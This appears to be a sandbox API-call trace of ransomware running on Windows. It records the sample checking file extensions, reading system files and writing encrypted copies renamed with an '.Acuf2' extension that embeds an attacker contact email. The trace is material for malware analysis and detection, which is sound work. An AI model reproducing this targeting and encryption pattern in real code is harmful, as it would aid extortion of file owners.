	[0059.913] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0059.913] lstrlenW (lpString=".7z") returned 3
	[0059.913] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0059.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString=".dbf") returned 4
	[0059.913] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0059.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString=".1cd") returned 4
	[0059.913] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0059.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString=".jpg") returned 4
	[0059.913] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0059.914] lstrcmpiW (lpString1=".CFG", lpString2=".Acuf2") returned 1
	[0059.914] lstrlenW (lpString="CGMIMP32.CFG") returned 12
	[0059.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0059.914] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=6811) returned 1
	[0059.914] CloseHandle (hObject=0x180) returned 1
	[0059.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20
	[0059.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0059.915] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.915] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0059.915] GetLastError () returned 0x0
	[0059.915] ReadFile (in: hFile=0x180, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x1a9b, lpOverlapped=0x0) returned 1
	[0060.335] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0x1aa0, lpOverlapped=0x0) returned 1
	[0060.336] ReadFile (in: hFile=0x180, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0060.336] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xec, lpOverlapped=0x0) returned 1
	[0060.336] SetEndOfFile (hFile=0x208) 

Thread:
	id = 18
	os_tid = 0x980

	[0036.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36612e8
	[0036.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36712f0
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a38
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a130
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a50
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3d70020
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a68
	[0036.915] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a68, Size=0x20) returned 0x35d0138
	[0036.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a68
	[0036.915] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a68, Size=0x20) returned 0x35d0110
	[0036.915] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.915] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.915] Wow64DisableWow64FsRedirection (in: OldValue=0x38fff58 | out: OldValue=0x38fff58*=0x0) returned 1
	[0036.915] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0138 | out: hHeap=0x4f0000) returned 1
	[0036.915] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0110 | out: hHeap=0x4f0000) returned 1
	[0036.916] Sleep (dwMilliseconds=0x64) 
	[0037.077] lstrcmpiW (lpString1=".ttf", lpString2=".Acuf2") returned 1
	[0037.077] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0037.077] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.121] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=1984228) returned 1
	[0037.121] CloseHandle (hObject=0x16c) returned 1
	[0037.121] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0037.121] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.121] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0037.121] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.121] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.121] lstrlenW (lpString=".doc") returned 4
	[0037.121] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0037.121] lstrlenW (lpString=".docx") returned 5
	[0037.121] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0037.121] lstrlenW (lpString=".pdf") returned 4
	[0037.121] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0037.121] lstrlenW (lpString=".xls") returned 4
	[0037.121] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0037.121] lstrlenW (lpString=".xlsx") returned 5
	[0037.121] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0037.121] lstrlenW (lpString=".ppt") returned 4
	[0037.121] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0037.121] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString=".zip") returned 4
	[0037.122] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0037.122] lstrlenW (lpString=".rar") returned 4
	[0037.122] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString=".bz2") returned 4
	[0037.122] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString=".7z") returned 3
	[0037.122] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0037.122] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString=".dbf") returned 4
	[0037.122] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString=".1cd") returned 4
	[0037.122] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString=".jpg") returned 4
	[0037.122] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.122] lstrlenW (lpString=".doc") returned 4
	[0037.122] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString=".docx") returned 5
	[0037.122] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0037.122] lstrlenW (lpString=".pdf") returned 4
	[0037.122] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0037.122] lstrlenW (lpString=".xls") returned 4
	[0037.122] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0037.122] lstrlenW (lpString=".xlsx") returned 5
	[0037.122] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0037.122] lstrlenW (lpString=".ppt") returned 4
	[0037.122] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0037.123] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.123] lstrlenW (lpString=".zip") returned 4
	[0037.123] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0037.123] lstrlenW (lpString=".rar") returned 4
	[0037.123] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0037.123] lstrlenW (lpString=".bz2") returned 4
	[0037.123] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0037.123] lstrlenW (lpString=".7z") returned 3
	[0037.123] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0037.123] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.123] lstrlenW (lpString=".dbf") returned 4
	[0037.123] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0037.123] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.123] lstrlenW (lpString=".1cd") returned 4
	[0037.123] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0037.123] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0037.123] lstrlenW (lpString=".jpg") returned 4
	[0037.123] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0037.123] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.123] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.123] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.123] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=88144) returned 1
	[0037.124] CloseHandle (hObject=0x16c) returned 1
	[0037.124] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20
	[0037.124] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.124] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.124] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.124] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.124] lstrlenW (lpString=".doc") returned 4
	[0037.124] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.124] lstrlenW (lpString=".docx") returned 5
	[0037.124] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.124] lstrlenW (lpString=".pdf") returned 4
	[0037.124] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.124] lstrlenW (lpString=".xls") returned 4
	[0037.124] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.124] lstrlenW (lpString=".xlsx") returned 5
	[0037.124] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.124] lstrlenW (lpString=".ppt") returned 4
	[0037.124] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.124] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.124] lstrlenW (lpString=".zip") returned 4
	[0037.124] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.124] lstrlenW (lpString=".rar") returned 4
	[0037.124] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.124] lstrlenW (lpString=".bz2") returned 4
	[0037.124] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.124] lstrlenW (lpString=".7z") returned 3
	[0037.124] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.124] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.124] lstrlenW (lpString=".dbf") returned 4
	[0037.125] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString=".1cd") returned 4
	[0037.125] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString=".jpg") returned 4
	[0037.125] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString=".doc") returned 4
	[0037.125] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString=".docx") returned 5
	[0037.125] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.125] lstrlenW (lpString=".pdf") returned 4
	[0037.125] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.125] lstrlenW (lpString=".xls") returned 4
	[0037.125] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.125] lstrlenW (lpString=".xlsx") returned 5
	[0037.125] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.125] lstrlenW (lpString=".ppt") returned 4
	[0037.125] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString=".zip") returned 4
	[0037.125] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.125] lstrlenW (lpString=".rar") returned 4
	[0037.125] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.125] lstrlenW (lpString=".bz2") returned 4
	[0037.125] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString=".7z") returned 3
	[0037.125] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.125] lstrlenW (lpString=".dbf") returned 4
	[0037.125] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.125] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.126] lstrlenW (lpString=".1cd") returned 4
	[0037.126] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.126] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29
	[0037.126] lstrlenW (lpString=".jpg") returned 4
	[0037.126] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.126] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.126] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.126] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.126] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=90704) returned 1
	[0037.126] CloseHandle (hObject=0x16c) returned 1
	[0037.126] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20
	[0037.126] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.126] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.127] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.127] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.127] lstrlenW (lpString=".doc") returned 4
	[0037.127] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.127] lstrlenW (lpString=".docx") returned 5
	[0037.127] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.127] lstrlenW (lpString=".pdf") returned 4
	[0037.127] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.127] lstrlenW (lpString=".xls") returned 4
	[0037.127] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.127] lstrlenW (lpString=".xlsx") returned 5
	[0037.127] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.127] lstrlenW (lpString=".ppt") returned 4
	[0037.127] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.127] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.127] lstrlenW (lpString=".zip") returned 4
	[0037.127] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.127] lstrlenW (lpString=".rar") returned 4
	[0037.127] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.127] lstrlenW (lpString=".bz2") returned 4
	[0037.127] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.127] lstrlenW (lpString=".7z") returned 3
	[0037.127] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.127] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.127] lstrlenW (lpString=".dbf") returned 4
	[0037.127] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString=".1cd") returned 4
	[0037.128] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString=".jpg") returned 4
	[0037.128] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString=".doc") returned 4
	[0037.128] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString=".docx") returned 5
	[0037.128] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.128] lstrlenW (lpString=".pdf") returned 4
	[0037.128] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.128] lstrlenW (lpString=".xls") returned 4
	[0037.128] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.128] lstrlenW (lpString=".xlsx") returned 5
	[0037.128] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.128] lstrlenW (lpString=".ppt") returned 4
	[0037.128] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString=".zip") returned 4
	[0037.128] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.128] lstrlenW (lpString=".rar") returned 4
	[0037.128] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.128] lstrlenW (lpString=".bz2") returned 4
	[0037.128] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString=".7z") returned 3
	[0037.128] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.128] lstrlenW (lpString=".dbf") returned 4
	[0037.128] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.128] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.129] lstrlenW (lpString=".1cd") returned 4
	[0037.129] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.129] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29
	[0037.129] lstrlenW (lpString=".jpg") returned 4
	[0037.129] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.129] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.129] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.129] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.129] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=90704) returned 1
	[0037.129] CloseHandle (hObject=0x16c) returned 1
	[0037.129] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20
	[0037.129] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.129] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.129] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.129] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.129] lstrlenW (lpString=".doc") returned 4
	[0037.129] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString=".docx") returned 5
	[0037.130] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.130] lstrlenW (lpString=".pdf") returned 4
	[0037.130] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.130] lstrlenW (lpString=".xls") returned 4
	[0037.130] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.130] lstrlenW (lpString=".xlsx") returned 5
	[0037.130] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.130] lstrlenW (lpString=".ppt") returned 4
	[0037.130] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString=".zip") returned 4
	[0037.130] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.130] lstrlenW (lpString=".rar") returned 4
	[0037.130] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.130] lstrlenW (lpString=".bz2") returned 4
	[0037.130] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString=".7z") returned 3
	[0037.130] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString=".dbf") returned 4
	[0037.130] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString=".1cd") returned 4
	[0037.130] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString=".jpg") returned 4
	[0037.130] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.130] lstrlenW (lpString=".doc") returned 4
	[0037.130] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.130] lstrlenW (lpString=".docx") returned 5
